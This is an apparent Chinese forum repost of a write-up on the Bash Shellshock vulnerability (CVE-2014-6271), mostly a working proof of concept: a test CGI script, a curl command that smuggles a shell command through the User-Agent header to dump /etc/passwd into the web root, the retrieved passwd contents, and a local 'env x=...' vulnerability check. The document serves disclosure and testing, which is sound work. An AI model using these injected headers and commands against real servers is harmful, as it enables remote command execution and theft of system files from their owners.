linux bash bug

chenqb · 发表于 2018-5-23 12:55:32

　　转载于：http://zone.wooyun.org/content/15392
　　from:https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

今日Bash爆出远程解析命令执行漏洞（CVE-2014-6271），波及各大Linux发行版与MacOSX系统。漏洞可以直接在Bash支持的Web CGI环境下远程执行任意命令！一些路由器、堡垒机、VPN等网络设备也可能会是影响重灾区。目前乌云君已经发现互联网存在的案例，会持续跟进中 http://t.cn/RhjFRmc
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poc.cgi
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0

$ curl -A ‘() { :; }; /bin/cat /etc/passwd > dumped_file’ http://192.168.0.1/poc.cgi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

$ curl http://192.168.0.1/dumped_file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

　　

　　

　　

　　env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

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